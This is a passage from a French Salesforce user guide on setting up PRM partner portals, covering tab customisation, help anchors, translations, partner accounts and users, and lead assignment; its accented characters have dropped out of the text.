Demandes d'approbation
La liste des demandes d'approbation prsente les demandes d'approbation soumises.
Pistes disponibles
La liste Pistes disponibles comprend des pistes qui ont t ajoutes une file d'attente d'ensembles de pistes.
La file d'attente d'ensembles de pistes regroupe les files d'attente de pistes non rclames que vous souhaitez rendre
accessibles aux utilisateurs partenaires. Toute file d'attente de piste peut tre ajoute la file d'attente d'ensembles de
pistes. Dans la liste des pistes disponibles, l'utilisateur partenaire n'affichera que les pistes affectes une file d'attente
dont il est membre.
Un utilisateur partenaire peut revendiquer la responsabilit d'une piste figurant dans la file d'attente d'ensembles de pistes
via la liste des pistes disponibles. Une fois la piste rclame, elle ne figure plus dans la liste des pistes disponibles et aucun

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Guide de l'utilisateur | Gestion des portails PRM | 1636

autre utilisateur partenaire ne peut la rclamer. Ainsi, il vous est possible de mettre des pistes la disposition de plusieurs
partenaires tout en vous assurant que plusieurs partenaires n'utilisent pas la mme piste.
Si la file d'attente d'ensembles de pistes comprend plusieurs files d'attente de piste, les utilisateurs partenaires ne pourront
pas affecter de piste une file d'attente. Cela permet d'empcher aux utilisateurs partenaires de contourner la limite de
l'ensemble de pistes en revendiquant une piste, en enregistrant les donnes de piste hors ligne et en raffectant la piste
une file d'attente.
Pour personnaliser l'onglet Accueil d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Accueil.
5. Personnalisez les statistiques affiches dans le menu latral en slectionnant les vues de liste adquates partir de la liste
droulante Statistiques actuelles. Ce menu contient toutes les vues de liste publiques dfinies pour les pistes, les
opportunits et les solutions. Le nom de la vue de liste et le nombre total d'lments composant la liste s'affichent dans le
menu latral du portail. L'utilisateur partenaire peut cliquer sur le lien pour afficher la vue de liste. Si vous dfinissez une
vue de liste laquelle le partenaire n'a pas accs en raison des paramtres d'affichage, le nom de la vue de liste et les
statistiques ne s'affichent pas.
6. Personnalisez le message de l'onglet Accueil. Slectionnez un document appropri l'aide de l'icne de recherche ( ).
Ce document sera utilis sur une page Web. Vrifiez donc qu'il s'agit d'un document pouvant tre affich correctement
sur la page (par exemple, un fichier HTML ou un fichier graphique). Faites en sorte que le message soit accessible vos
utilisateurs partenaires en dfinissant les accs au dossier.
Personnaliser ce message vous permet d'informer vos utilisateurs partenaires des vnements venir ou de leur communiquer
d'autres informations.
7. Pour inclure la liste des demandes d'approbation, slectionnez Inclure les demandes d'approbation.
8. Pour inclure une vue de liste des pistes que les partenaires peuvent rclamer :
a. Slectionnez Inclure les pistes disponibles.
b. Pour limiter l'affichage des pistes appartenant une file d'attente aux listes de pistes accessibles, slectionnez Limiter
toutes les pistes appartenant une file d'attente aux seules pistes disponibles. Si cette
option n'est pas slectionne, les pistes appartenant aux files d'attente de piste risquent de s'afficher dans d'autres vues
de liste.
c. Slectionnez les colonnes afficher dans la liste des pistes disponibles.
d. Ajoutez les files d'attente de pistes partenaires devant fournir des pistes l'ensemble de pistes. Les pistes affectes ces
files d'attente feront partie de l'ensemble de pistes et pourront tre rclames par les utilisateurs partenaires. Slectionnez
une file d'attente parmi les files d'attente disponibles, puis cliquez sur Ajouter pour l'ajouter l'ensemble de pistes.
Slectionnez une file d'attente parmi les files d'attente slectionnes, puis cliquez sur Supprimer pour la retirer de
l'ensemble de pistes.
e. Dfinissez la limite de l'ensemble de pistes sur le nombre maximal de pistes ouvertes qu'un utilisateur
partenaire peut rclamer dans l'ensemble de pistes. Par exemple, si la limite est dfinie sur 25 et qu'un utilisateur
partenaire a dj rclam 25 pistes de l'ensemble de pistes, il ne peut plus rclamer de pistes tant qu'il ne clt pas une
piste ou tant qu'une piste n'est pas affecte un autre utilisateur.

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Guide de l'utilisateur | Gestion des portails PRM | 1637

9. Lorsque vous avez termin de personnaliser l'onglet Accueil pour le portail partenaire, cliquez sur Enregistrer pour revenir
la page de dtails du portail partenaire. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et
modifier le ... pour configurer l'onglet de portail PRM suivant.

Voir aussi :
Configuration de l'onglet Compte du portail PRM
Configuration d'un portail PRM
Utilisation des documents sur un portail PRM

Configuration de l'onglet Compte du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Lorsque vos utilisateurs partenaires travaillent sur leurs comptes, vous pouvez les informer des vnements venir ou leur
communiquer d'autres messages.
Pour personnaliser l'onglet Compte d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Compte.
5. Personnalisez le message de l'onglet Compte. Slectionnez un document appropri l'aide de l'icne de recherche ( ).
6. Slectionnez Activer les comptes pour permettre vos utilisateurs partenaires d'accder l'onglet Compte sur le
portail.
7. Lorsque vous avez fini de personnaliser l'onglet Comptes pour le portail PRM, cliquez sur Enregistrer. En fonction de
l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le ... pour configurer l'onglet de portail PRM
suivant.
Remarque: Si une vue de liste de compte a t cre avec le filtre Mes quipes de compte, ce filtre est exclus lors
de l'affichage de la vue de liste dans le portail PRM.

Voir aussi :
Configuration d'un portail PRM
Configuration de l'onglet Pistes du portail PRM

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Guide de l'utilisateur | Gestion des portails PRM | 1638

Configuration de l'onglet Pistes du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Configurer l'onglet Pistes pour les utilisateurs partenaires vous permet de contrler le mode d'affichage de cet onglet sur leur
cran et le mode de gestion des tches effectues par les partenaires utilisateurs. Pour personnaliser l'onglet Pistes d'un portail
PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Pistes.
5. Personnalisez le message de l'onglet Pistes. Slectionnez un document appropri l'aide de l'icne de recherche ( ).
Lorsque vos utilisateurs partenaires travaillent sur leurs pistes, vous pouvez les informer des vnements venir ou leur
communiquer d'autres messages. Pour ce faire, il vous suffit de personnaliser le message de l'onglet Pistes.
6. Cochez la case Conversion automatique des pistes pour permettre vos utilisateurs partenaires de convertir les
pistes en opportunits. Si cette case n'est pas coche, le responsable de canaux devra convertir les pistes.
7. Si vous activez les conversions automatiques de piste et que vous souhaitez mapper les champs de piste standard sur les
champs d'opportunit personnaliss, cochez la case Mappage de champs standard. Vous pouvez ensuite choisir de
mapper un champ de piste standard sur un champ d'opportunit personnalis en slectionnant un champ personnalis dans
la liste droulante en regard de chaque champ de piste. Si vous ne disposez d'aucun champ d'opportunit personnalis,
vous ne pouvez pas slectionner de mappage personnalis. Ce paramtrage remplace le mappage des pistes standard.
Conseil: l'aide du mappage de champs, mappez les informations de contact provenant de la piste vers les champs
personnaliss de l'opportunit afin que les utilisateurs partenaires puissent facilement rechercher les informations
de contact pour l'opportunit.
Pour plus d'informations sur le mappage des conversions de pistes, reportez-vous Mappage des conversions de pistes.
8. Lorsque vous avez termin de personnaliser l'onglet Pistes du portail partenaire, cliquez sur Enregistrer pour revenir la
page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le ...
pour configurer l'onglet de portail PRM suivant.

Voir aussi :
Utilisation des documents sur un portail PRM
Configuration d'un portail PRM
Configuration de l'onglet Opportunits du portail PRM

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Guide de l'utilisateur | Gestion des portails PRM | 1639

Configuration de l'onglet Opportunits du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Lorsque vos utilisateurs partenaires travaillent sur leurs opportunits, vous pouvez les informer des vnements venir ou leur
communiquer d'autres messages.
Pour personnaliser l'onglet Opportunits d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Opportunits.
5. Personnalisez le message de l'onglet Opportunits. Slectionnez un document appropri l'aide de l'icne de recherche
( ).
6. Pour autoriser des utilisateurs partenaires modifier des produits d'opportunit, slectionnez Rendre les produits
de l'opportunit modifiables.
7. Pour autoriser des utilisateurs partenaires crer des opportunits partir du menu latral ou d'une liste associe, slectionnez
Activer la cration directe des opportunits.
8. Lorsque vous avez termin de personnaliser l'onglet Opportunits du portail PRM, cliquez sur Enregistrer pour revenir
la page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le
... pour configurer l'onglet de portail PRM suivant.
Remarque: Si une vue de liste d'opportunit a t cre avec le filtre Mes quipes de vente, ce filtre est exclus
lors de l'affichage de la vue de liste dans le portail PRM.

Voir aussi :
Configuration d'un portail PRM
Utilisation des documents sur un portail PRM
Configuration de l'onglet Solutions du portail PRM

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Guide de l'utilisateur | Gestion des portails PRM | 1640

Configuration de l'onglet Solutions du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Lorsque vos utilisateurs partenaires utilisent leurs solutions, vous pouvez les informer des vnements venir ou leur
communiquer d'autres messages.
Pour personnaliser l'onglet Solutions d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Solutions.
5. Personnalisez le message de l'onglet Solutions Slectionnez un document appropri l'aide de l'icne de recherche ( ).
6. Lorsque vous avez termin de personnaliser l'onglet Solutions du portail partenaire, cliquez sur Enregistrer pour revenir
la page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le
... pour configurer l'onglet de portail PRM suivant.
Remarque: Les solutions HTML s'affichent sous forme de texte sur le portail PRM. Lorsque les utilisateurs partenaires
consultent une solution HTML dans le portail PRM, ils verront les dtails de la solution, y compris les balises HTML.

Voir aussi :
Configuration d'un portail PRM
Configuration de l'onglet Opportunits du portail PRM
Utilisation des documents sur un portail PRM
Configuration de l'onglet Objet personnalis PRM

PRM

Guide de l'utilisateur | Gestion des portails PRM | 1641

Configuration de l'onglet Documents du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Lorsque vos utilisateurs partenaires travaillent sur leurs documents, vous pouvez les informer des vnements venir ou leur
communiquer d'autres messages.
Pour personnaliser l'onglet Documents d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Documents.
5. Personnalisez le message de l'onglet Documents. Slectionnez un document appropri l'aide de l'icne de recherche
( ).Slectionnez un document appropri l'aide de l'icne de recherche ( ).
6. Lorsque vous avez termin de personnaliser l'onglet Documents du portail partenaire, cliquez sur Enregistrer pour revenir
la page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le
... pour configurer l'onglet de portail PRM suivant.

Voir aussi :
Configuration de l'onglet Contacts du portail PRM
Configuration d'un portail PRM
Utilisation des documents sur un portail PRM

Configuration de l'onglet Objet personnalis PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Si vous avez cr et expos un ou plusieurs objets personnaliss sur un portail PRM, vous souhaitez peut-tre informer les
partenaires des vnements venir ou leur communiquer d'autres messages associs cet objet personnalis.
Pour personnaliser un onglet d'objet personnalis d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.

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Guide de l'utilisateur | Gestion des portails PRM | 1642

2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet de l'objet personnalis.
5. Personnalisez le message de l'onglet d'objet personnalis. Slectionnez un document appropri l'aide de l'icne de recherche
( ).
6. Lorsque vous avez termin de personnaliser l'onglet d'objet personnalis du portail PRM, cliquez sur Enregistrer pour
revenir la page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et
modifier le ... pour configurer l'onglet de portail PRM suivant.

Voir aussi :
Configuration d'un portail PRM
Configuration de l'onglet Solutions du portail PRM
Utilisation des documents sur un portail PRM

Configuration de l'onglet Contacts du portail PRM

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Lorsque vos utilisateurs partenaires travaillent sur des enregistrements de contacts, vous pouvez les informer des vnements
venir ou leur communiquer d'autres messages.
Pour personnaliser l'onglet Contacts d'un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Contacts.
5. Personnalisez le message de l'onglet Contacts. Slectionnez un document appropri l'aide de l'icne de recherche ( ).
6. Pour autoriser les utilisateurs partenaires de travailler avec des contacts slectionnez Autoriser les contacts.
7. Lorsque vous avez termin de personnaliser l'onglet Contacts du portail partenaire, cliquez sur Enregistrer pour revenir
la page de dtails du portail. En fonction de l'ordre des onglets, vous pouvez aussi cliquer sur Enregistrer et modifier le
... pour configurer l'onglet de portail PRM suivant.

Voir aussi :
Configuration d'un portail PRM
Utilisation des documents sur un portail PRM

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Guide de l'utilisateur | Gestion des portails PRM | 1643

Options d'aide du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des portails PRM :

Personnaliser l'application

Chaque portail inclut un document d'aide par dfaut. Comme tous les autres documents du portail PRM, ce document d'aide
peut tre modifi ou personnalis en fonction de vos besoins. Si vous crez votre propre document d'aide, vrifiez qu'il possde
un format lisible par tous vos utilisateurs (par exemple, HTML ou PDF).
Pour utiliser l'aide personnalise dans un portail PRM :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Cliquez sur Modifier en regard du nom de portail pour en modifier les paramtres.
4. Slectionnez l'option Use Custom Help.
5. Slectionnez un document d'aide personnalise l'aide de l'icne de recherche ( ).
Incluez les ancrages suivants dans votre aide personnalise pour la rendre contextuelle :
Page

Ancrage

Onglet Accueil

Home_home

Onglet Piste

Lead_views

Page de dtails de piste

Lead_detail

Page de modification de piste

Lead_edit

Page de cration de piste

Lead_create

Page de compte partenaire

Account_detail

Page de rsultats de recherche

_search

Onglet Documents

Document_documents

Onglet Opportunits

Opportunity_views

Page de dtails des opportunits

Opportunity_detail

Page de modification des opportunits

Opportunity_edit

Solutions

Solution_views

Dtails des solutions

Solution_detail

Onglet de l'objet personnalis

Nom de l'objet_views

Page de dtails de l'objet personnalis

Nom de l'objet_detail

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Guide de l'utilisateur | Gestion des portails PRM | 1644

Page

Ancrage

Page de modification de l'objet personnalis

Nom de l'objet_edit

Page de cration de l'objet personnalis

Nom de l'objet_create

Page de cration de la note

Note_create

Page de dtails de la note

Note_detail

Page de modification de la note

Note_edit

Page d'ajout d'une pice jointe

Attachment_create

Page de modification d'une pice jointe

Attachment_edit

Les autres enregistrements suivent le mme modle, savoir Nom de l'objet_action. Par exemple, si le portail PRM
contient un objet personnalis intitul Classes, l'aide contextuelle de l'onglet Classes doit tre associe l'ancrage
Classes_views dans votre fichier d'aide personnalise.

Voir aussi :
Configuration d'un portail PRM

Gestion des traductions dans les portails PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

Les portails PRM peuvent tre multilingues. Vous pouvez crer un portail prenant en charge plusieurs langues. Nous vous
suggrons de crer vos portails PRM en fonction de vos besoins professionnels, puis de les configurer pour plusieurs langues,
si ncessaire.
Pour configurer un portail existant pour une autre langue :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom du portail configurer.
4. Dans la section Traduction :

Pour ajouter une langue, cliquez sur Nouvelle langue, slectionnez la langue ajouter au portail, puis cliquez sur
Enregistrer.
Pour modifier des traductions pour une langue existante, cliquez sur Modifier en regard de la langue.

5. Dfinissez l'lment ou le message en fonction de la langue que vous dfinissez. Les lments de base sont les suivants :

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Guide de l'utilisateur | Gestion des portails PRM | 1645

Message ou lment de l'interface utilisateur

Description

Titre du responsable du compte Partenaires Le titre du responsable du compte de partenaires apparat

sur la page d'accueil, ainsi que le nom du responsable de

canaux de l'utilisateur partenaire.
Nom de l'application du portail

Le nom du portail apparat dans la barre de titre du

navigateur.

Document d'aide personnalise

L'aide personnalise vous permet de fournir vos utilisateurs

une aide personnalise dans leur langue. Vous devez dfinir
l'aide personnalise de l'intgralit du portail avant de dfinir
celle d'une langue spcifique.

Nom de votre socit

Le nom de votre entreprise apparat dans la barre de titre du

navigateur. Vous devez dfinir le nom d'entreprise pour le
portail entier avant de le dfinir pour une langue spcifique.

Message de l'onglet Documents

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet Documents.

Message de l'onglet Accueil

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet Accueil.

Message de l'onglet des comptes

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet des comptes.

Message de l'onglet Pistes

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet Pistes.

Message de l'onglet Opportunit

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet Opportunits.

Message de l'onglet Solutions

Vous permet d'informer les utilisateurs partenaires des

vnements venir ou de leur communiquer d'autres
informations lorsqu'ils consultent l'onglet Solutions.

D'autres lments peuvent tre disponibles si vous avez mis des onglets personnaliss la disposition des utilisateurs
partenaires.
La valeur de la version non traduite du portail est affiche dans la colonne Valeur principale. Si cette valeur n'est pas
dfinie dans le portail non traduit, vous devez la dfinir pour pouvoir la changer dans le portail traduit.
Si l'lment est signal comme dpass, le portail principal a t mis jour plus rcemment que les traductions.

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Guide de l'utilisateur | Gestion des portails PRM | 1646

6. Cliquez sur Enregistrer.

Voir aussi :
Configuration d'un portail PRM

Utilisation des documents sur un portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser un portail PRM :

Personnaliser l'application

Pour afficher des documents :

Autorisation de lecture sur les documents

Pour modifier des proprits des documents :

Autorisation de modification sur les documents

Pour remplacer des documents :

Autorisation de modification sur les documents

Pour supprimer des documents :

Autorisation de suppression sur les documents

Vous pouvez utiliser des documents de l'onglet Documents de votre entreprise pour ajouter des images, du texte ou une aide
personnalise un portail PRM.
Lorsque la gestion des relations partenaires est active, Salesforce.com cre deux dossiers de documents. L'un est nomm
Messages par dfaut et contient des exemples de messages texte destins au portail PRM. L'autre, Modle par dfaut, contient
les fichiers qui contrlent l'apparence du portail. Les documents de ces dossiers sont utiliss dans le portail PRM par dfaut.
Chaque fois que vous crez un portail, Salesforce.com cre les deux dossiers de documents correspondants. Ils suivent la mme
convention d'appellation que les dossiers du portail par dfaut. Par exemple, si vous crez un portail intitul Portail PRM
Gold , les deux dossiers sont nomms Modle Portail PRM Gold et Messages Portail PRM Gold.
Lorsque vous personnalisez un portail PRM (reportez-vous Gestion des portails PRM), vous pouvez utiliser des documents
pour dfinir des messages, des logos, une aide personnalise ou d'autres lments de portail. Les autorisations du dossier de
documents doivent tre dfinies de manire permettre vos utilisateurs partenaires de consulter ces documents qui, eux,
doivent tre configurs pour tre accessibles en externe.
Conseil: Les dossiers par dfaut sont accessibles publiquement en lecture seule. Nous vous conseillons de configurer
galement les dossiers de documents que vous utilisez dans votre portail PRM en accs public en lecture seule. Tous
les utilisateurs peuvent ainsi consulter les documents.
ATTENTION: Veillez ne pas supprimer un document utilis dans un portail Partenaires. Si cela se produit,
l'lment qui fait rfrence au document supprim indique Document introuvable la place du dossier et du nom du

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Guide de l'utilisateur | Cration de comptes partenaires | 1647

document lorsque vous modifiez le portail. Si vous tentez de cloner un portail faisant rfrence un document qui
n'existe plus, le message d'erreur qui apparat rpertorie les documents manquants.

Voir aussi :
Configuration d'un portail PRM

Cration de comptes partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour crer des comptes :

Autorisation de cration sur les comptes

Pour activer un compte partenaire :

Grer les partenaires

Les comptes partenaires sont des comptes professionnels, qu'un responsable de canaux utilisent pour grer les entreprises
partenaires, les utilisateurs partenaires et les activits. Chaque socit avec laquelle vous tablissez un partenariat doit tre
ajoute Salesforce.com en tant que compte professionnel. Les responsables de canaux sont associs aux comptes partenaires
par le biais de la responsabilit de compte. Un responsable de canaux qui possde un compte partenaire peut accder toutes
les informations et grer toutes les activits du compte partenaire, qui comprend les activits de tout utilisateur partenaire
associ ce compte. Il peut ainsi facilement rester au courant des activits partenaires.
Remarque: tant donn que le rle d'utilisateur partenaire est subordonn au rle de responsable de compte, toutes
les donnes du rle d'utilisateur partenaire sont transmises au rle de responsable de compte.
Pour crer un compte partenaire :
1. Crez un compte professionnel.
2. Cliquez ensuite sur Activer en tant que partenaire.
3. Une bote de dialogue de confirmation apparat. Slectionnez Oui, je souhaite activer ce compte en tant que compte
partenaire.
4. Cliquez sur Confirmer.
Remarque: Si votre entreprise dispose de comptes personnels, ces comptes ne peuvent pas tre utiliss comme comptes
partenaires. Seulement les comptes professionnels peuvent tre utiliss comme comptes partenaires.
Une fois que vous avez cr un compte partenaire, vous pouvez ajouter ce compte des utilisateurs partenaires, en tant
qu'enregistrements de contact. Les utilisateurs partenaires sont des utilisateurs Salesforce.com dont les attributions, limites,
sont axes sur la gestion des pistes. Les utilisateurs partenaires se connectent Salesforce.com via le portail.

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Guide de l'utilisateur | Cration d'utilisateurs partenaires | 1648

Remarque: Il est impossible de supprimer les comptes partenaires.

Vous pouvez fusionner des comptes partenaires si vous disposez de l'autorisation de profil Grer les utilisateurs .

Voir aussi :
Cration d'utilisateurs partenaires
Prsentation de la gestion des relations partenaires
Utilisation des utilisateurs partenaires

Cration d'utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier, invalider ou dsactiver des utilisateurs :

Grer les utilisateurs

Pour crer des contacts :

Autorisation de cration sur les contacts

Pour afficher des contacts :

Autorisation de lecture sur les contacts

Une fois que vous avez cr un compte partenaire, vous pouvez ajouter ce compte des utilisateurs partenaires, en tant
qu'enregistrements de contact. Les utilisateurs partenaires sont des utilisateurs Salesforce.com dont les attributions, limites,
sont axes sur la gestion des pistes. Les utilisateurs partenaires se connectent Salesforce.com via le portail.
Avant de crer des partenaires, vous devez configurer vos portails, sinon les utilisateurs partenaires risquent d'essayer de s'y
connecter avant qu'ils soient prts.
Pour crer un utilisateur partenaire :
1. Affichez le compte partenaire pour lequel crer un utilisateur partenaire.
2. Crez un contact pour l'utilisateur partenaire. Choisissez New dans la liste associe Contacts du compte partenaire.
Fournissez les dtails appropris, puis cliquez sur Enregistrer.
3. Sur la page des dtails des contacts, cliquez sur Activer la connexion au portail Partenaires.
4. Modifiez l'enregistrement utilisateur pour ce partenaire.
5. Cliquez sur Enregistrer.
Une fois un utilisateur partenaire cr, le compte partenaire et l'utilisateur partenaire peuvent tre modifis indpendamment.
Les modifications effectues sur l'un ne sont pas refltes sur l'autre.
Conseils pour la cration d'utilisateurs partenaires
Tenez compte des points suivants lorsque vous crez des utilisateurs partenaires :

Si vous avez activ un utilisateur en tant qu'administrateur dlgu, il ne peut pas crer d'utilisateur partenaire, sauf si au
moins un profil partenaire a t ajout la liste associe Profils pouvant tre affects et qu'il s'agit d'un utilisateur autoris
grer des utilisateurs .

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Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1649

Les profils disponibles pour l'utilisateur partenaire sont limits au profil des utilisateurs partenaires ou aux profils clons
partir de celui-ci. Contrairement au rle d'un utilisateur standard, le rle de l'utilisateur partenaire est automatiquement
attribu en fonction du nom de compte. tant donn que le rle d'utilisateur partenaire est subordonn au rle de responsable
de compte, toutes les donnes du rle d'utilisateur partenaire sont transmises au rle de responsable de compte.
Les contacts et les utilisateurs partenaires ne peuvent pas tre supprims. Si vous ne voulez plus qu'un utilisateur partenaire
ait accs au portail, dsactivez l'utilisateur partenaire. De plus, les contacts partenaires ne peuvent pas tre sous la responsabilit
d'un compte non partenaire.
Vous pouvez fusionner l'enregistrement d'un contact du portail avec un autre contact du portail.

Voir aussi :
Cration de comptes partenaires
Prsentation de la gestion des relations partenaires
Utilisation des utilisateurs partenaires

Utilisation des utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Les responsables de canaux sont associs aux utilisateurs partenaires qu'ils grent en fonction de la responsabilit de compte.
Un responsable de canaux charg d'un compte partenaire peut accder toutes les informations et grer toutes les activits des
utilisateurs partenaires dots de ce compte.
Voici certaines tches courantes de gestion des utilisateurs partenaires :

Cration d'un compte partenaire

Cration d'utilisateurs partenaires
Attribution de pistes aux utilisateurs partenaires
Modification des informations sur les utilisateurs partenaires
Suivi des activits partenaires

Voici d'autres manires de travailler avec vos utilisateurs partenaires :

Attribuez des tches aux utilisateurs partenaires
Si vos utilisateurs partenaires disposent des paramtres appropris de scurit au niveau du champ, ils peuvent afficher
et crer des activits associes aux pistes ou aux opportunits.
Ajoutez des tches aux pistes ou aux opportunits afin de rappeler vos utilisateurs partenaires les tches particulires
que vous souhaitez qu'ils accomplissent. Vous pouvez afficher l'historique des activits pour une piste ou une opportunit
donne. Vous pouvez galement utiliser des rapports pour assurer le suivi des activits affectes aux utilisateurs partenaires.
Les utilisateurs partenaires peuvent uniquement affecter des tches d'autres utilisateurs de leur compte partenaire ou
leur responsable de canaux.
Utilisez des notes et des pices jointes pour communiquer avec les utilisateurs partenaires
Les utilisateurs partenaires peuvent crer, afficher et modifier des notes, ainsi qu'ajouter des pices jointes partir des
listes associes aux notes et aux pices jointes sur les pages de dtails slectionnes (pages de dtails des pistes, des

PRM

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1650

solutions, des opportunits, etc.). Vous pouvez utiliser des notes et des pices jointes pour partager des documents ou
des informations avec les utilisateurs partenaires.
La taille maximale d'un fichier joint est de 5 Mo.
Cliquez sur Connexion en tant qu'utilisateur de portail partenaire pour procder au dpannage
Lorsque vous affichez la page de dtails des contacts pour un utilisateur partenaire, vous pouvez cliquer sur Se connecter
en tant qu'utilisateur de portail. Une nouvelle fentre de navigation apparat et vous permet de vous connecter au portail
en tant qu'utilisateur partenaire. Cliquez sur ce bouton pour dpanner tous les problmes qu'prouvent les utilisateurs
partenaires. Vous pouvez aussi cliquer sur ce bouton pour vrifier que votre portail est configur de faon approprie. Le
bouton Connexion en tant qu'utilisateur de portail n'est pas disponible si vous disposez le l'autorisation Grer les
partenaires et de l'une des autorisations suiavntes : Modifier toutes les donnes, tre le responsable du compte partenaire
ou avoir un rle suprieur dans la hirarchie des rles. Le bouton Connexion en tant qu'utilisateur de portail ne s'affiche
pas si vous ne remplissez pas ces exigences ou si l'utilisateur du portail est inactif.
Rinitialisez le mot de passe d'un utilisateur
Lorsque vous affichez la page de dtails des utilisateurs pour un utilisateur partenaire, vous pouvez cliquer sur Rinitialiser
le mot de passe pour rinitialiser le mot de passe de l'utilisateur partenaire.
Les utilisateurs partenaires peuvent rinitialiser leur mot de passe en cliquant sur Vous avez oubli votre mot de passe ?
sur la page de connexion au portail Partenaires.
Proposez une solution sur le portail
Sur la solution, slectionnez Visible dans le portail libre-service.
Ajoutez des produits aux opportunits
Si la liste associe aux produits est accessible aux utilisateurs partenaires au niveau des opportunits, vous pouvez ajouter
des produits aux opportunits de vos partenaires.

Attribution de pistes aux utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des pistes des partenaires :

Autorisation de modification sur les pistes

L'attribution des pistes constitue un aspect capital de la gestion des relations partenaires. Vos partenaires ne peuvent utiliser
que les pistes qui leur sont attribues. Il existe deux mthodes pour grer l'attribution des pistes aux utilisateurs partenaires :

Attribuer chaque piste un utilisateur partenaire spcifique

Attribuer les pistes une file d'attente de pistes et permettre aux utilisateurs partenaires de rclamer des pistes de cette file
d'attente

En outre, vous pouvez crer des rgles d'attribution de pistes qui attribuent automatiquement des pistes aux utilisateurs
partenaires ou aux files d'attente en fonction de certaines proprits de ces pistes.

